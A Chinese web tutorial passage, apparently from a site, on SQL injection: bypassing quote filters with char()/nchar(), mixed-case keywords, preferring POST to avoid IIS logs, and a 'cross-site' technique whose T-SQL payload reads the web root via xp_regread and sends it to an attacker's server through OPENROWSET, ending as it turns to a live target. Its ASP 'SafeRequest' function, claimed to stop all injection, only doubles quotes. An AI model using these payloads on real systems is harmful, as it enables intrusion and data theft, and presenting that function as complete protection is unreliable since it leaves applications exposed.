学习啦>学习电脑>电脑安全>网络安全知识>

SQL注入漏洞的攻防策略(3)

时间: 若木632 分享

  第二节、绕过程序限制继续注入

学习啦在线学习网   在入门篇提到,有很多人喜欢用’号测试注入漏洞,所以也有很多人用过滤’号的方法来“防止”注

学习啦在线学习网   入漏洞,这也许能挡住一些入门者的攻击,但对SQL注入比较熟悉的人,还是可以利用相关的函数,达到

学习啦在线学习网   绕过程序限制的目的。

  在“SQL注入的一般步骤”一节中,我所用的语句,都是经过我优化,让其不包含有单引号的;在“

  利用系统表注入SQLServer数据库”中,有些语句包含有’号,我们举个例子来看看怎么改造这些语句:

  简单的如where xtype=’U’,字符U对应的ASCII码是85,所以可以用where xtype=char(85)代替;

学习啦在线学习网   如果字符是中文的,比如where name=’用户’,可以用where name=nchar(29992)+nchar(25143)代替。

学习啦在线学习网   第三节、经验小结

学习啦在线学习网   1.有些人会过滤Select、Update、Delete这些关键字,但偏偏忘记区分大小写,所以大家可以用sele

学习啦在线学习网   cT这样尝试一下。

  2.在猜不到字段名时,不妨看看网站上的登录表单,一般为了方便起见,字段名都与表单的输入框取

  相同的名字。

  3.特别注意:地址栏的+号传入程序后解释为空格,%2B解释为+号,%25解释为%号,具体可以参考URL

学习啦在线学习网   Encode的相关介绍。

  4.用Get方法注入时,IIS会记录你所有的提交字符串,对Post方法做则不记录,所以能用Post的网址

  尽量不用Get。

  5. 猜解Access时只能用Ascii逐字解码法,SQLServer也可以用这种方法,只需要两者之间的区别即

  可,但是如果能用SQLServer的报错信息把值暴露出来,那效率和准确率会有极大的提高。

  防范方法

  SQL注入漏洞可谓是“千里之堤,溃于蚁穴”,这种漏洞在网上极为普遍,通常是由于程序员对注入

  不了解,或者程序过滤不严格,或者某个参数忘记检查导致。在这里,我给大家一个函数,代替ASP中的R

学习啦在线学习网   equest函数,可以对一切的SQL注入Say NO,函数如下:

  Function SafeRequest(ParaName,ParaType)

学习啦在线学习网   '--- 传入参数 ---

学习啦在线学习网   'ParaName:参数名称-字符型

学习啦在线学习网   'ParaType:参数类型-数字型(1表示以上参数是数字,0表示以上参数为字符)

  Dim Paravalue

  Paravalue=Request(ParaName)

  If ParaType=1 then

学习啦在线学习网   If not isNumeric(Paravalue) then

  Response.write "参数" & ParaName & "必须为数字型!"

  Response.end

  End if

  Else

  Paravalue=replace(Paravalue,"'","''")

  End if

  SafeRequest=Paravalue

学习啦在线学习网   End function

  不管你是安全人员、技术爱好者还是程序员,我都希望本文能对你有所帮助。

学习啦在线学习网   SQL注入攻击常见方法和技巧

  知己知披 方能百战百胜;“黑客”们采用的攻击方法雷同,下面是我挑选的一些具有代表性的攻击方法

学习啦在线学习网   ,分析这些方法有助于程序员们编写更少漏洞的程序。

学习啦在线学习网   跨站式SQL注入数据库攻击和防范技巧

学习啦在线学习网   前一阶段,在尝试攻击一个网站的时候,发现对方的系统已经屏蔽了错误信息,用的也是普通的帐号连接

学习啦在线学习网   的数据库,系统也是打了全部的补丁这样要攻击注入是比较麻烦的。因此我自己搞了一种“跨站式SQL注

学习啦在线学习网   入”。

学习啦在线学习网   思路如下,既然你不显示错误信息,我能不能让你显示到别的地方呢?让SQL把错误写入别的地方。

  既然是研究阶段,我们最好不要直接注入网站,而是首先用查询分析器来分析这个方法。

  第一个想法:

  SQL可以连接外部的数据库。

  于是,首先用查询分析器,登陆到我自己的一个虚拟主机的数据库(这样的权限比较小),然后在本

  地启动一个SQL server,并且用SA的身份在SQL事件探测器里边建立一个跟踪。

学习啦在线学习网   尝试 sp_addlinkedserver 如果成功,那就和操作本地数据库一样了。

学习啦在线学习网   提示必须是sysadmin的身份。。失败。

  换一个思路:

学习啦在线学习网   只要你SQL敢发命令过来,我不管执行的结果怎么样,只要接获到命令就可以了。

学习啦在线学习网   于是考虑到一个权限要求不是很高的命令:OPENROWSET 来跨服务器查询。这个命令作用是把一个数

学习啦在线学习网   据库命令发给远程的数据库,取回来结果集。。于是就启动“事件跟踪”监视发过来的命令。

  第一次尝试,首先还是执行 create table [dbo].[laokai]([cha8][char](255))--建立一个表。随

学习啦在线学习网   后是把路径写入数据库,这里我考虑,直接生成一个跨库的脚本算了。好方便执行。。

学习啦在线学习网   DECLARE @result varchar(255) exec master.dbo.xp_regread

  'HKEY_LOCAL_MACHINE','SYSTEM/CONTROLSet001/Services/W3SVC/Parameters/Virtual Roots', '/'

  ,@result output insert into laokai (cha8) values('SELECT a.* FROM OPENROWSET(''SQLOLEDB'',''

  你的IP'';''sa'';''密码'', ''SELECT * FROM pubs.dbo.authors where au_fname=''''' + @result +

学习啦在线学习网   ''''''')AS a');--

  这段代码什么意思哪?就是把网站的路径信息写入数据库。也不是单纯的写,写得同时构造一个SQL

学习啦在线学习网   语句,这个语句的执行结果是给laokai这个数据库的cha8字段增加了这样的一行记录。

学习啦在线学习网   SELECT a.* FROM OPENROWSET('SQLOLEDB','你的IP';'sa';'密码', 'SELECT * FROM pubs.dbo.authors

  where au_fname=''C:/Inetpub,,1''')AS a

  其中的C:/Inetpub,,1就是注册表记录的根目录,最后要做的是:

  DECLARE @a1 char(255) set @a1=(SELECT cha8 FROM laokai) exec (@a1);--

  这样就等于执行了

  SELECT a.* FROM OPENROWSET('SQLOLEDB','你的IP';'sa';'密码', 'SELECT * FROM pubs.dbo.authors

  where au_fname=''C:/Inetpub,,1''')AS a

学习啦在线学习网   这一条语句,同时你会在事件探测器那边会显示

学习啦在线学习网   SELECT * FROM pubs.dbo.authors where au_fname='C:/Inetpub,,1'

  其中的C:/Inetpub 就是网站的路径。。调试成功。。

  现在进入实战阶段。某网站屏蔽了全部出错信息。但是我们可以确定它存在注入点 a.asp?id=1,怎么做呢?

75367